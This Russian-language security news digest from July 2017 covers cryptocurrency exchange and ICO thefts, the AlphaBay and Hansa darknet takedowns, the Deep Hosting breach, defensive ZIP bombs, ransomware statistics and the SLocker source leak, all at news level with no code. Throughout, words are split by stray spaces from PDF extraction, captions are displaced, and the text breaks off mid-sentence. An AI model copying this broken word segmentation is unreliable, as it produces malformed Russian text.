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КРИПТОВАЛЮТНЫЕ
ОГРАБЛЕНИЯ
Июль 2017 года озна мено вал ся взло мом целого ряда крип товалют ных стар‐ 
тапов и сер висов.

Пер вым  от  хакер ской  ата ки  в  начале  месяца  пос тра дал  Classic  Ether
Wallet — кошелек для крип товалю ты Ethereum Classic (ETC). Прес тупни ки при‐ 
мени ли соци аль ную инже нерию и сумели ввес ти в заб лужде ние сот рудни ков
хос тинг‐про вай дера  1on1,  выдав  себя  за  нас тоящих  вла дель цев  домена.
Перех ватив  кон троль  над  доменом,  неиз вес тные  незамед литель но  начали
перенап равлять  поль зовате лей  на  свой  сер вер,  в  резуль тате  чего  чужие
день ги осе дали в их вир туаль ных кар манах.

Ког да поль зовате ли поняли, что про исхо дит, на домен пред ложили устро‐ 
ить DDoS‐ата ку, что бы увес ти его в офлайн. Такой спо соб казал ся наибо лее
быс трым вари антом решения проб лемы. Но идти на край ние меры не приш‐ 
лось: уже через нес коль ко часов адми нис тра ция Classic Ether Wallet при под‐ 
дер жке экспер тов сумела убе дить Cloudflare внес ти домен в чер ный спи сок,
что и спас ло положе ние.

Пос тра дав шие  поль зовате ли  подели лись  на  Reddit  ETC‐адре сами,
на  которые  в  ито ге  попали  их  средс тва.  Уда лось  под счи тать,  что  сум марно
зло умыш ленни ки  похити ли  поряд ка  300  тысяч  дол ларов  в  «эфир ном»  экви‐ 
вален те.

Вто рой жер твой зло умыш ленни ков ста ла южно корей ская крип товалют ная
бир жа Bithumb, чет вертая по величи не в мире. Еще в кон це июня поль зовате‐ 
ли  бир жи  замети ли,  что  с  их  сче тов  начали  про падать  круп ные  сум мы  (в
основном Bitcoin и Ethereum). В пер вых чис лах июля адми нис тра ция сер виса
под твер дила, что про исхо дящее — пос ледс твия хакер ской ата ки.

Пред ста вите ли  Bithumb  рас ска зали  СМИ,  что  неиз вес тные  зло умыш‐ 
ленни ки сумели ском про мети ровать компь ютер одно го из сот рудни ков бир‐ 
жи, пос ле чего получи ли дос туп к информа ции о 31 800 поль зовате лях ресур‐ 
са (поряд ка 3% от всей поль зователь ской базы). В резуль тате прес тупни кам
уда лось  похитить  докумен ты,  содер жащие  име на  поль зовате лей,  email
и номера мобиль ных телефо нов. При этом не сов сем ясно, как имен но зло‐ 
умыш ленни ки  получи ли  дос туп  к  акка унтам  сво их  жертв  и  сумели  похитить
денеж ные  средс тва.  Судя  по  все му,  в  ход  пош ла  соци аль ная  инже нерия,
осно ван ная на укра ден ных дан ных.

Точ ная сум ма ущер ба неиз вес тна, так как рас сле дова ние, к которо му уже
прив лекли  пра воох ранитель ные  орга ны,  еще  не  окон чено.  Мно гие  поль‐ 
зовате ли сооб щали о потере круп ных сумм. К при меру, один пос тра дав ший
рас ска зал жур налис там,  что лишил ся 10 мил лионов вон  (поряд ка 8700 дол‐ 
ларов).  Пред ста вите ли  Bithumb  пообе щали  вып латить  100  тысяч  вон
(897 дол ларов) каж дому пос тра дав шему, а затем, ког да ста нет извес тна точ‐ 
ная  сум ма  при чинен ного  поль зовате лям  ущер ба,  бир жа  нач нет  воз мещать
жер твам фак тичес кие потери. Прес са сооб щила, что, нев зирая на этот жест
доб рой  воли  со  сто роны  адми нис тра ции  Bithumb,  око ло  ста  пос тра дав ших
уже готовят кол лектив ный судеб ный иск.

Треть им  пос тра дав шим  сер висом  стал  изра иль ский  стар тап  CoinDash,
который был взло ман в ходе про веде ния ICO (Initial Coin Offering, пер вично го
раз мещения  токенов).  ICO явля ется сво еоб разным ана логом  IPO. Пос редс‐ 
твом  ICO  стар тапы,  по  сути,  прив лека ют  финан сирова ние:  за  Bitcoin,
Ethereum  и  дру гую  крип товалю ту  инвесто ры  покупа ют  у  ком пании  токены,
которые могут исполь зовать ся для пос леду ющей опла ты услуг. Для ком пании
это  «живые»  день ги,  а  для  инвесто ров,  воз можно,  неп лохое  вло жение,  так
как со вре менем токены могут подоро жать.

К  сожале нию,  ICO  CoinDash  прак тичес ки  сра зу  обер нулось  про валом.
Дело  в  том,  что  через  три  минуты  пос ле  раз мещения  токенов  неиз вес тные
зло умыш ленни ки  ском про мети рова ли  сайт  CoinDash  и  под менили  адрес
офи циаль ного Ethereum‐кошель ка собс твен ным.

Хо тя взлом обна ружи ли быс тро, а раз работ чики CoinDash немед ленно оста‐ 
нови ли  ICO  (которое  дол жно  было  длить ся  28  дней),  уве ли  сайт  в  офлайн
и пре дуп редили поль зовате лей об ата ке через офи циаль ный твит тер и канал
Slack, было уже поз дно. Дело в  том, что  толь ко за пер вые пять минут пос ле
взло ма на кошелек хакеров переве ли более 6 мил лионов дол ларов. В ито ге
зло умыш ленни ки  «зарабо тали»  43  488  Ethereum  (8,3  мил лиона  дол ларов
по кур су на тот момент).

Пред ста вите ли  CoinDash  пообе щали,  что  выпус тят  токены  для  всех  пос‐ 
тра дав ших,  которые  отпра вили  средс тва  на  кошелек  прес тупни ков.  Тем
не менее обе щания раз работ чиков не успо коили взвол нован ных поль зовате‐ 
лей.  Некото рые  пос тра дав шие  заподоз рили,  что  взлом  на  самом  деле  мог
быть работой инсай дера. К при меру, на Reddit активно обсужда лась вер сия,
что  ICO и  под мена  кошель ка мог ли быть  про думан ной мошен ничес кой  схе‐ 
мой, а не нас тоящей ата кой.

Чет вертый взлом очень похож на про изо шед шее с CoinDash: во вре мя ICO
плат форму Veritaseum взло мали неиз вес тные лица.  24 июля 2017  года  ком‐ 
пания  опуб ликова ла  деталь ный  отчет  о  слу чив шемся.  Хотя  количес тво
похищен ных  токенов  ока залось  «нич тожным»  (все го  0,07%),  в  дол ларовом
экви вален те ограбле ние все же выг лядит вну шитель но. Так, осно ватель Veri‐
taseum Рег ги Мидд лтон (Reggie Middleton) сооб щил, что на про даже токенов
зло умыш ленни ки  навари ли  8,4  мил лиона  дол ларов.  Изна чаль но  средс тва
осе ли  на  двух  кошель ках  Ethereum,  но  вско ре  были  переве дены  на  дру гие
акка унты, так как взлом щики уже начали отмы вать похищен ные средс тва.

К счастью для поль зовате лей, укра ден ные токены при над лежали Veritase‐
um, то есть сами они не понес ли никаких финан совых потерь и не воз никло
необ ходимос ти выкупать токены обратно.

Пя тым инци ден том ста ла уяз вимость в Ethereum‐кошель ке Parity, она при‐ 
вела  к  хищению  30  мил лионов  дол ларов.  Неиз вес тные  вос поль зовались
багом в кон трак те с муль типод писью, который поз волял им похищать средс‐ 
тва из чужих кошель ков. В резуль тате дей ствий зло умыш ленни ков пос тра дали
все поль зовате ли, которые име ли дело с кошель ками с муль типод писью, соз‐ 
данны ми  ранее  19  июля  2017  года.  В  кар манах  прес тупни ков  осе‐ 
ло 153 тысячи ETH, то есть поряд ка 30 мил лионов дол ларов.

Ко шелек хакеров

Ата ка про изош ла 19 июля 2017 года и была сра зу замече на раз работ чиками.
На  помощь пос тра дав шим быс тро  приш ла  груп па  энту зиас тов,  называ ющих
себя The White Hat Group. В сос тав The White Hat Group вош ли ИБ‐экспер ты
и чле ны Ethereum Project. Вос поль зовав шись  тем же экс пло итом,  что и  зло‐ 
умыш ленни ки,  ИБ‐спе циалис ты  начали  спа сать  день ги  поль зовате лей,
перево дя их на не под вержен ный багу кошелек. В резуль тате в руках груп пы
ока залось 377 105 ETH, то есть более 85 мил лионов дол ларов, которые вай‐ 
тхе ты начали воз вра щать закон ным вла дель цам пос ле устра нения бага.

Раз работ чики Parity сооб щили, что сум марно нас читыва лось 596 уяз вимых
кошель ков и основной  удар зло умыш ленни ков при шел ся на  три из них.  Так,
о кра же 82 тысяч ETH уже заяви ли раз работ чики про екта Aeternity. Сог ласно
офи циаль ным  дан ным,  воз можность  экс плу ата ции  бага  была  бла гопо луч но
зак рыта.  Раз работ чики  изви нились  за  слу чив шееся  и  обе щали  запус тить
собс твен ную прог рамму bug bounty,  что бы впредь избе жать подоб ных оши‐ 
бок.

ИССЛЕ ДОВА ТЕЛИ ПРОС ЛЕДИЛИ ФИНАН СОВЫЕ ПОТОКИ
ОПЕ РАТО РОВ ВЫМОГА ТЕЛЬ СКО ГО ПО
Свод ная  груп па  иссле дова телей,  в  которую  вош ли  спе циалис ты  Калифор ний ско го  уни вер‐ 
ситета в Сан‐Диего, Нью‐Йорк ско го уни вер ситета, ком паний Google и VirusTotal, а так же блок‐ 
чейн‐ана лити ки Chainalysis, пред ста вила на кон ферен ции Black Hat ана лиз, про лива ющий свет
на механиз мы работы семей ств вымога тель ско го ПО. Спе циалис ты под вели ито ги работы про‐ 
екта Tracking Ransomware End to End, в ходе которо го было изу чено поведе ние 34 вымога телей.

На ибо лее «при быль ным» годом для опе рато ров вымога тель ско го ПО пока оста ется 2016‐й.
Сум ма еже месяч ных пла тежей, пос тупав ших от жертв мал вари, в этом  году час то пре выша ла
отметку  1–2  мил лиона  дол ларов.  Рез кий  ска чок  на  гра фике  иссле дова тели  объ ясня ют  появ‐ 
лени ем шиф роваль щиков Locky и Cerber.

Ис сле дова тели изу чили, какие сер висы пос тра дав шие исполь зовали для покуп ки крип товалю‐ 
ты. С боль шим отры вом лидиру ют LocalBitcoins и Bithumb.

По  дан ным  спе циалис тов  Google,  опе рато ры  Locky  «зарабо тали»  на  сво ем  детище  7,8  мил‐ 
лиона дол ларов,  тог да  как Cerber  при нес  сво им авто рам 6,9 мил лиона дол ларов. На  треть ей
строч ке рей тин га находит ся вымога тель CryptoLocker, но раз рыв с лидера ми велик: раз работ‐ 
чики получи ли выкупов на сум му 2 мил лиона дол ларов.

Так же  спе циалис ты  про ана лизи рова ли  схе мы  вывода  средств  и  приш ли  к  зак лючению,  что
в 95% слу чаев денеж ные средс тва жертв окан чивали свой путь в  кошель ках на бир же BTC‐e,
пос ле чего прес тупни ки обна личи вали выкупы.

РЕЙД НА ALPHABAY И
HANSA MARKET 
5 июля 2017 года одна из круп ней ших тор говых пло щадок в дар кне те Alpha‐
Bay без каких‐либо объ ясне ний ушла в офлайн. Саб реддит AlphaBay немед‐ 
ленно  затопи ли  паничес кие  сооб щения  поль зовате лей,  которые  сра зу
заподоз рили, что до орга низа торов доб ралась полиция, так как никаких вес‐ 
тей от них не пос тупало. Как выяс нилось, на этот раз панике ры не ошиб лись
с вывода ми.

Че рез две недели Минис терс тво юсти ции США офи циаль но под твер дило
то,  о  чем  все  уже  догады вались:  дар кнет‐мар кет  AlphaBay  был  зак рыт  пра‐ 
воох ранитель ными  орга нами.  Одна ко,  сог ласно  офи циаль ному
пресс‐релизу,  все  ока залось  не  так  прос то.  Поль зовате ли  ушед шего
в офлайн AlphaBay  пытались орга низо ван но  перей ти  на  дру гую под поль ную
тор говую  пло щад ку,  Hansa,  но  выяс нилось,  что  ее  тоже  зак рыли  влас ти.
Более того, сайт работал под управле нием полиции с июня 2017 года.

Зак рытие  AlphaBay  и  Hansa  Market  ста ло  резуль татом  круп ной  меж‐ 
дународ ной опе рации, в которой при нима ли учас тие США, Канада, Таиланд,
Гол ландия,  Великоб ритания, Фран ция,  Лит ва,  а  так же  пред ста вите ли  Евро‐ 
пола, ФБР и Управле ния по борь бе с нар котика ми.

Пер вым  «пошел  ко  дну»  сайт  Hansa,  управле ние  над  сер верами  которо‐ 
го  20  июня  2017  года  перех ватила  полиция  Гол ландии.  При  этом  сайт
работал  еще  месяц,  что  поз волило  пра воох раните лям  соб рать  мно жес тво
улик и информа ции о кли ентах тор говой пло щад ки. Роберт Пат тисон (Robbert
Pattison),  замес титель  гла вы  Управле ния  по  борь бе  с  нар котика ми  США,
сооб щил,  что  бла года ря  это му  в  руках  пра воох ранитель ных  орга нов  ока‐ 
зались  дан ные  тысяч  про дав цов  и  покупа телей  чер ного  рын ка,  теперь  эти
дан ные  ста нут  пред метом  новых  рас сле дова ний  Евро пола  и  дру жес твен ных
ему ведомств.

В  это  же  вре мя  собс твен ную  опе рацию  про вели  пра воох ранитель ные
орга ны  США  и  Канады  —  они  арес товали  сер веры  AlphaBay
4  июля  2017  года.  Пред ста вите ли  Минюс та  под твер дили,  что  ранее  арес‐ 
тован ный в Таилан де двад цатипя тилет ний граж данин Канады Алек сандр Каз
(Alexandre Cazes), о котором до это го писали СМИ, был одним из руково дите‐ 
лей ресур са, извес тным по нику Alpha02.

По информа ции тай ской прес сы, Каз про живал в стра не восемь лет и пос‐ 
ле  арес та  влас ти  кон фиско вали  четыре  при над лежав ших  ему  авто моби ля
Lamborghini, а  так же три дома, общей сто имостью 11,7 мил лиона дол ларов.
Каза  дол жны  были  экс тра диро вать  в  США,  одна ко  12  июля  2017  года  его
наш ли  повешен ным  в  камере  таиланд ской  тюрь мы. Сог ласно  офи циаль ным
сооб щени ям, он покон чил с собой.

Опуб ликован ные  пра воох раните лями  докумен ты  гла сят,  что  Каз  ском про‐ 
мети ровал  себя  в  декаб ре 2016  года. Дело  в  том,  что еще в 2014  году Каз
допус тил ошиб ку, добавив лич ный email в при ветс твие для новых поль зовате‐ 
лей AlphaBay. Тот же ящик фигури ровал на AlphaBay во вре мя вос ста нов ления
паролей  от  сай та.  При  этом  Каз  исполь зовал  этот  адрес  на  раз личных
сетевых форумах, рав но как и псев доним Alpha02.

В ито ге полиции уда лось вычис лить нас тоящее имя «Аль фы» и узнать, что
ему  при над лежит  ком пания  EBX  Technologies  (чего  Каз  и  не  скры вал,
информа ция  была  дос тупна  в  его  про филе  LinkedIn),  а  его  сче та  и  нед‐ 
вижимость оце нива ются в мил лионы дол ларов, про исхожде ние которых неиз‐ 
вес тно.

Ис полня ющий обя зан ности дирек тора ФБР Эндрю Мак кейб  (Andrew Mc‐
Cabe) заявил, что AlphaBay был в десять раз боль ше печаль но извес тно го Silk
Road. По его сло вам, тор говой пло щад кой поль зовались 200 тысяч кли ентов
и 40 тысяч про дав цов. При этом на AlphaBay нас читыва лось более 250 тысяч
объ явле ний о про даже нар котиков, более 100  тысяч объ явле ний о про даже
укра ден ных или под дель ных иден тифика цион ных докумен тов и устрой ств дос‐ 
тупа,  кон тра фак тных  товаров,  мал вари  и  дру гих  хакер ских  инс тру мен тов
и услуг.

Но и  гол ланд ские пра воох раните ли не прос то переда ли  соб ранные дан‐ 
ные  Евро полу  и  умы ли  руки.  Как  ока залось,  проб лема  пов торно го  исполь‐ 
зования одних и тех же паролей акту аль на даже в дар кне те. Пос ле зак рытия
AlphaBay и Hansa поль зовате ли начали миг рировать на круп ней шую оставшу‐ 
юся  в  живых  тор говую  пло щад ку  Dream Market.  У  одних  поль зовате лей  уже
были учет ные записи на Dream Market, к которым они вер нулись, дру гие соз‐ 
дали новые акка унты. Но гол лан дцы замети ли, что при этом у мно гих про дав‐ 
цов  не  под клю чена  двух фактор ная  аутен тифика ция  и  они  исполь зуют  оди‐ 
нако вые пароли для раз ных сер висов.

Пра воох ранитель ные  орга ны  перех ватили  кон троль  как  минимум
над четыр надцатью акка унта ми про дав цов — их PGP‐ключ сме нил ся на при‐ 
над лежащий  полиции.  Это  учет ные  записи  00DRGREEN00,  BoulderMedical,
cannab1z,  cocaMG,  dutchcandyshop,  DrPoseidon,  GlazzyEyez,  Gridlockdope,
guessguess, ibulk, iCoke, MarcoPolo420, mushroomgod, wolfydutch.

Дру гой повод для бес покой ства поль зовате лей Hansa — это locktime‐фай‐ 
лы,  которые  они  ска чива ли  с  сай та  еще  до  его  зак рытия.  Обыч но  locktime‐
файл пред став ляет собой прос той лог тран закций про дав ца, где содер жится
информа ция  о  про дан ных  товарах,  покупа телях,  вре мени  про даж,  ценах
и под пись Hansa. Такие фай лы исполь зуют ся для аутен тифика ции про дав цов,
ког да нуж но зап росить бит кой ны пос ле завер шения сдел ки, или в том слу чае,
если тор говая пло щад ка не работа ет по тех ничес ким при чинам.

Обыч но фай лы  locktime дар кнет‐мар кета име ли фор мат прос того  тек ста.
Одна ко незадол го до зак рытия ресур са они были под менены на фай лы Excel,
внут ри  которых  содер жалось  скры тое  изоб ражение.  Изоб ражение  под гру‐ 
жалось с сер веров Hansa, пос ле чего на сер вере осе дал IP‐адрес про дав ца.
Теперь  мно гие  про дав цы  опа сают ся,  что  информа ция  об  их  реаль ных  IP‐
адре сах уже переш ла в руки гол ланд ских пра воох раните лей и не толь ко их.

 →    будет прек ращена под дер жка Flash. Ком пании Apple, Facebook, Google, Mi‐
crosoft, Mozilla,  а  так же сама  ком пания Adobe анон сирова ли офи циаль ную дату прек ращения
под дер жки Flash. Тех нологию «умер твят» в кон це 2020 года (точ ная дата пока не наз вана), пос‐ 
ле чего ее под дер жку прек ратят все наз ванные ком пании. Раз работ чики Adobe пишут, что такие
стан дарты, как HTML5, WebGL и WebAssembly, уже дос таточ но «пов зрос лели», что бы заменить
собой Flash в 3D‐гра фике, стри мин ге и не толь ко. Пред ста вите ли Google сог ласны и отме чают,
что сегод ня лишь 17% поль зовате лей Chrome посеща ют сай ты, для работы которых необ ходим
Flash. Еще три года назад этот показа тель рав нялся 80%.

В 2020 году

LET’S ENCRYPT
Раз работ чики удос товеря юще го цен тра Let’s Encrypt, соз данно го груп пой In‐
ternet  Security  Research  Group  в  2015  году  и  выда юще го  бес плат ные  крип‐ 
тогра фичес кие  сер тифика ты  всем  жела ющим,  анон сирова ли  ско рое  появ‐ 
ление еще одной полез ной опции.

В  офи циаль ном  бло ге  раз работ чики  сооб щили,  что  с  янва ря  2018  года
Let’s  Encrypt  нач нет  выдавать  бес плат ные  wildcard‐сер тифика ты,  о  которых
поль зовате ли про сят очень дав но.  Такие сер тифика ты поз воля ют  вла дель цу
домена исполь зовать один сер тификат для всех под доменов на раз ных сер‐ 
верах. Фак тичес ки мож но будет  исполь зовать мас ки  вида  ,  что
дол жно зна читель но облегчить внед рение HTTPS во мно гих слу чаях.

*.домен.com

За пуск сер тифика тов wildcard будет при уро чен  к  началу работы ACME v2
API,  тоже  зап ланиро ван ному  на  январь  2018  года.  Раз работ чики  пишут,  что
на пер вых порах для wildcard‐сер тифика тов будет дос тупна толь ко про вер ка,
под твержда ющая  вла дение  базовым  доменом  через  DNS,  но  в  будущем,
веро ятно, появят ся и дру гие опции.

Пред ста вите ли Let’s Encrypt выража ют надеж ду, что wildcard‐сер тифика ты
еще нем ного приб лизят глав ную цель про екта — стоп роцен тно защищен ный
HTTPS веб. В нас тоящее вре мя лишь 58% ресур сов пред лага ют сво им поль‐ 
зовате лям HTTPS‐соеди нение.

QRATOR LABS ПРО ВЕРИ ЛА НА УСТОЙ ЧИВОСТЬ НАЦИ ‐
ОНАЛЬ НЫЕ СЕГ МЕНТЫ ИНТЕРНЕ ТА В РАЗ НЫХ СТРА НАХ
Сот рудни ки  ком пании  Qrator  Labs,  спе циали зиру ющей ся  на  про тиво дей ствии  DDoS‐ата кам
и защите от взло мов, изу чили вли яние воз можных сбо ев сетей сис темо обра зующих опе рато‐ 
ров свя зи на гло баль ную дос тупность наци ональ ных сег ментов интерне та. Как и в 2016 году,
для  рас чета  показа телей  исполь зовались  дан ные  сер виса Maxmind,  на  осно ве  которых  была
сос тавле на кар та, где все опе рато ры свя зи были рас пре деле ны по наци ональ ным сег ментам.
В этом году допол нитель но была про веде на про цеду ра нор миров ки — оце нивал ся не факт при‐ 
сутс твия опе рато ра в кон крет ном реги оне, но зна чимость это го при сутс твия в задан ном наци‐ 
ональ ном сег менте. В ито ге получил ся сле дующий топ‐15:

Мес то
в рей тин ге

Стра на
Опе ратор свя зи (номер авто ном ‐
ной сис темы)

%

1 Гер мания (DE) Versatel (8881) 2,29696

2 Гон конг (HK) Level 3 Communications (3356) 2,65659

3 Швей цария (CH) Swisscom (3303) 3,57245

4 Ка нада (CA) Bell Backbone (577) 3,67367

5 Фран ция (FR) Cogent (174) 3,68254

6
Ве ликоб ритания
(GB)

Cogent (174) 3,76297

7 Бель гия (BE) Telenet (6848) 3,93768

8 Ук раина (UA) UARNet (3255) 3,95098

9 США (US) Cogent (174) 3,97103

10 Бан гла деш (BD) Fiber @ Home (58587) 5,29293

11 Ру мыния (RO) RTD (9050) 5,35451

12
Бра зилия (BR) —
новичок

Telefonica (12956) 5,39138

13 Рос сия (RU) Rostelecom (12389) 5,73432

14 Ир ландия (IE) Cogent (174) 5,87254

15 Че хия (CZ) SuperNetwork (39392) 5,88389

  мак сималь ная  доля  сетей  наци ональ ного  сег мента,  теря ющих  гло баль ную  дос‐ 
тупность при отка зе одно го опе рато ра свя зи.
%  сетей  —

«Резуль таты это го года показы вают, что тен денции оста ются неиз менны ми: в вер хней час ти
таб лицы, как и в 2016 году, ока зались стра ны, в которых телеком муника цион ный рынок явля‐ 
ется зре лым и харак теризу ется высокой сте пенью дивер сифика ции. В этих стра нах при сутс тву‐ 
ет боль шое  количес тво опе рато ров свя зи,  поэто му  сбой в работе даже  круп ного про вай дера
ока жет  вли яние  лишь  на  неболь шое  чис ло  дру гих  сетей»,  —  про ком менти ровал  Алек сандр
Лямин, генераль ный дирек тор Qrator Labs.
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ВЗЛОМАН DEEP
HOSTING
В середи не  июля  2017  года  от  хакер ской  ата ки  пос тра дал  дар кнет‐хос тинг
Deep  Hosting.  Сог ласно  офи циаль ному  заяв лению  адми нис тра ции,  взлом
про изо шел  пос ле  того,  как  зло умыш ленник  зарегис три ровал  акка унт  вир‐ 
туаль ного  хос тинга на Deep Hosting. Взлом щик исполь зовал  учет ную запись
для заг рузки на сер веры про екта двух шел лов, один из которых был написан
на PHP, а дру гой на Perl. Про веден ное опе рато рами хос тинга рас сле дова ние
выяви ло, что выпол нить вер сию на Perl ата кующе му не уда лось, одна ко PHP‐
вер сия сра бота ла.

Су дя по опуб ликован ной адми нис тра цией  хро ноло гии событий, опе рато‐ 
рам  Deep  Hosting  пот ребова лись  поч ти  сут ки,  что бы  понять,  что  слу чилось,
перевес ти ском про мети рован ный сер вер в сос тояние read only и начать экс‐ 
трен но менять все пароли от FTP и SQL. Опе рато ры хос тинга полага ют,  что
зло умыш ленник сумел экспор тировать немало кли ент ских сай тов и мог доб‐ 
рать ся до баз дан ных.

Пред ста вите ли ресур са Bleeping Computer сооб щили, что им уда лось свя‐ 
зать ся с самим взлом щиком, который скры вает ся под псев донимом Dhostp‐
wned.  Зло умыш ленник  охот но  поделил ся  с  жур налис тами  спис ком,  содер‐ 
жащим  адре са  91  ском про мети рован ного  сай та.  В  чис ле  про чего  в  этот
перечень вош ли тор говые пло щад ки, про давав шие нар котики и мал варь (нап‐ 
ример, M.N.G Market), а так же хакер ские и кар дер ские форумы. В нас тоящее
вре мя боль шинс тво ресур сов уже не работа ют из‐за сбро са паролей MySQL.

«Я их взло мал. С точ ки зре ния безопас ности их вир туаль ный хос тинг
был  ужа сен,  —  заявил  Dhostpwned.  —  У  меня  на  руках  боль шинс тво
фай лов, которые хос тились на их сай те, все их SQL базы дан ных. Там
хос тилась  и  сеть  заказ ных  убий ств,  но  я  не  смог  туда  доб рать ся,
потому что это был их VPS-хос тиг и у них нет никакой панели дос тупа
к VPS».

В  качес тве  доказа тель ства  взло ма  Dhostpwned  заг рузил  в  кор невую  дирек‐ 
торию M.N.G Market  тек сто вый файл,  который мож но  уви деть  на  скрин шоте
выше.  Дело  в  том,  что  в  отли чие  от  адми нис тра торов  дру гих  сай тов  Deep
Hosting  опе рато ры  M.N.G  Market  забыли  сме нить  пароль  по  умол чанию
от  сво его  VPS  box.  Сра зу  пос ле  это го  тор говая  пло щад ка  ушла  в  офлайн,
а зло умыш ленник сооб щил, что слу чай но стер MBR на их жес тком дис ке.

 →    пред лага ют  за  уяз вимос ти  раз работ чики  Tor  Project.  Орга низа торы  Tor  Project,
при под дер жке Open Technology Fund, объ яви ли о запус ке откры той для всех прог раммы воз‐ 
награж дений  на  плат форме  HackerOne.  Искать  баги  пред лага ется  в  Tor‐бра узе ре  и  сетевом
демоне  Tor.  К  рас смот рению при нима ются  уяз вимос ти,  допус кающие эска лацию при виле гий,
уда лен ное исполне ние про изволь ного кода, неав торизо ван ный дос туп к поль зователь ским дан‐ 
ным, а так же информа ция о методи ках атак, с помощью которых мож но извле кать зашиф рован‐ 
ные дан ные с узлов и кли ентов. В зависи мос ти от серь езности най ден ной проб лемы Tor Project
готов вып лачивать иссле дова телям от 100 до 4000 дол ларов.  

$4000

ZIP‐БОМБЫ ДЛЯ
ОБОРОНЫ
Тер мин «ZIP‐бом ба» был при думан более десяти лет назад, рав но как и сами
ZIP‐бом бы.  Прин цип  работы  таких  архи вов  очень  прост:  в  сжа том  виде
это обыч ный, не вызыва ющий подоз рений файл, но при рас паков ке он прев‐ 
раща ется  в  чудовищ ное  количес тво дан ных,  с  которым не могут  спра вить ся
ни память, ни жес ткий диск компь юте ра жер твы. Чаще все го ата ка реали зует‐ 
ся при помощи рекур сивно го архи ва, то есть ZIP‐архи ва, который рас паковы‐ 
вает ся сам в себя.

К при меру,   мож но най ти файл 42.zip, который в сжа том виде весит
все го  42  Кбайт,  но  пос ле  рас паков ки  будет  занимать  в  памяти
более 4,5 Пбайт (4 503 599 626 321 920 байт).

здесь

Рань ше  ZIP‐бом бы  исполь зовались  для  самых  раз ных  целей — от  обык‐ 
новен ного  трол линга до  умыш ленно го  вывода из  строя анти виру сов. И  хотя
сов ремен ные защит ные решения дав но научи лись рас позна вать такие фай лы
и  даже  пре дуп режда ют  поль зовате ля  об  опас ности,  это го  по‐преж нему
не дела ют бра узе ры и ска неры уяз вимос тей, такие как Nikto или sqlmap.

Учи тывая  эту  осо бен ность,  авс трий ский  ИБ‐спе циалист  Крис тиан  Хашек
(Christian Haschek) пред ложил исполь зовать ZIP‐бом бы во бла го, обра щая их
про тив зло умыш ленни ков. Для это го иссле дова тель написал два неболь ших
PHP‐скрип та,  которые  опре деля ют  подоз ритель ные  user‐agent.  Если  зло‐ 
умыш ленни ки пыта ются исполь зовать ска нер уяз вимос тей или через бра узер
зап рашива ют  дос туп  к  защищен ным  или  при ват ным  стра ницам  (бэкен ду,
панели  адми нис три рова ния,  стра ницам,  содер жащим  фор мы  регис тра ции
и  вхо да),  скрип ты  под меня ют  обыч ное  содер жимое  стра ницы  ZIP‐бом бой.
Как  толь ко  кли ент  ата кующе го  получит  такой  архив,  зло умыш ленни ка  ждет
неиз бежный ава рий ный отказ.

Ха шек успешно про тес тировал свою методи ку на бра узе рах IE11, Chrome,
Edge, Safari и Chrome для Android, а  так же ска нерах sqlmap и Nikto. Во всех
слу чаях получе ние ZIP‐бомб при води ло к кра ху и мно гочис ленным ошиб кам.
Лишь Nikto,  казалось бы,  про дол жил работать,  но  выяс нилось,  что никако го
резуль тата такое ска ниро вание не при носит.

Опи сан ные PHP‐скрип ты мож но най ти    спе циалис та.  Кро ме  того,
Хашек  соз дал  спе циаль ную  ,  где  любой  жела‐ 
ющий может опро бовать ZIP‐бом бу на себе. По пос ледней ссыл ке рекомен‐ 
дуем перехо дить с осто рож ностью.

в бло ге
де монс тра цион ную  стра ницу

КОЛИЧЕС ТВО ЖЕРТВ ПРОГ РАММ‐ШИФ РОВАЛЬ ЩИКОВ
ПРЕ ВЫСИ ЛО МИЛ ЛИОН
Спе циалис ты  «Лабора тории  Кас пер ско го»  пред ста вили  отчет,  пос вящен ный  эво люции  шиф‐ 
роваль щиков и вымога телей за пери од с апре ля 2016 года по март 2017 года. Дан ные угро зы
по‐преж нему  оста ются  одни ми  из  наибо лее  рас простра нен ных,  а  так же  про дол жает  рас ти
количес тво пос тра дав ших от них поль зовате лей.

 →  на 11,4% по срав нению с пре дыду щими 12 месяца ми (с апре‐ 
ля  2015  года  по март  2016  года),  вырос ло  общее  количес тво  поль зовате лей,  стол кнув шихся
с тро яна ми‐вымога теля ми.

C 2 315 931 до 2 581 026,

Сре ди  тех,  кто  стол кнул ся  с  тро яна ми‐вымога теля ми, доля  тех,  кто  стол кнул ся  с шиф роваль‐ 
щиками, воз росла на 13,6% (с 31% в 2015/16 году до 44,6% в 2016/17 году).

 → C    (2015/16  год) до    (2016/17  год)  вырос ло  количес тво  поль зовате лей,
под вер гших ся ата кам шиф роваль щиков.

718 536 1  152 299

До ля  вымога телей  в  общем  чис ле  зараже ний  мобиль ными  злов редами  в  Рос сии  сни зилась
до 0,88% (в 2015/16 году этот показа тель сос тавлял 4,91%).

 → Зло умыш ленни ки активно осва ивают новые тер ритории. По ито гам отчетно го пери ода Рос‐ 
сия усту пила лидерс тво по количес тву инци ден тов Тур ции, Вьет наму и Япо нии.

ОПУБЛИКОВАНЫ
ИСХОДНИКИ
SLOCKER
Вы мога тель SLocker, или Simple Locker, — один из наибо лее извес тных и ста‐ 
рей ших  шиф роваль щиков  для  Android.  Имен но  он  устро ил  нас тоящую  эпи‐ 
демию  летом  2016  года,  а  в  мае  2017‐го  иссле дова тели  обна ружи‐ 
ли  более  400  новых  образцов  мал вари.  Спус тя  еще  месяц,
в июне 2017 года, спе циалис ты Trend Micro замети ли, что вымога тель начал
копиро вать GUI нашумев шего шиф роваль щика WannaCry.

SLocker — один  из  нем ногих мобиль ных  вымога телей,  который  дей стви‐ 
тель но шиф рует  дан ные  жертв,  а  не  прос то  запуги вает  пос тра дав ших,  бло‐ 
кируя экран устрой ства. SLocker исполь зует алго ритм AES, шиф рует все дан‐ 
ные на устрой стве, а потом бло киру ет жер тве дос туп к боль шинс тву фун кций
устрой ства  и  тре бует  выкуп.  Для  свя зи  с  коман дны ми  сер верами  мал варь
исполь зует  Tor,  в  резуль тате  чего  отсле дить  коман дный  центр  прак тичес ки
невоз можно.

При этом иссле дова тели счи тают,  что эффект от мобиль ных шиф роваль‐ 
щиков  куда  хуже,  нежели  от  ана логич ной  дес ктоп ной  мал вари.  Так,  спе‐ 
циалис ты  Bitdefender,  изу чав шие  мобиль ных  вымога телей,  писали:  «[Такие
угро зы] доб рались до топ‐10 в основном за счет фак тора бес силия. Это пси‐ 
холо гичес кая шту ка,  ког да человек не может получить дос туп  к информа ции
в  сво ем  смар тфо не.  Люди  готовы  пла тить  выкуп. Мобиль ные  устрой ства —
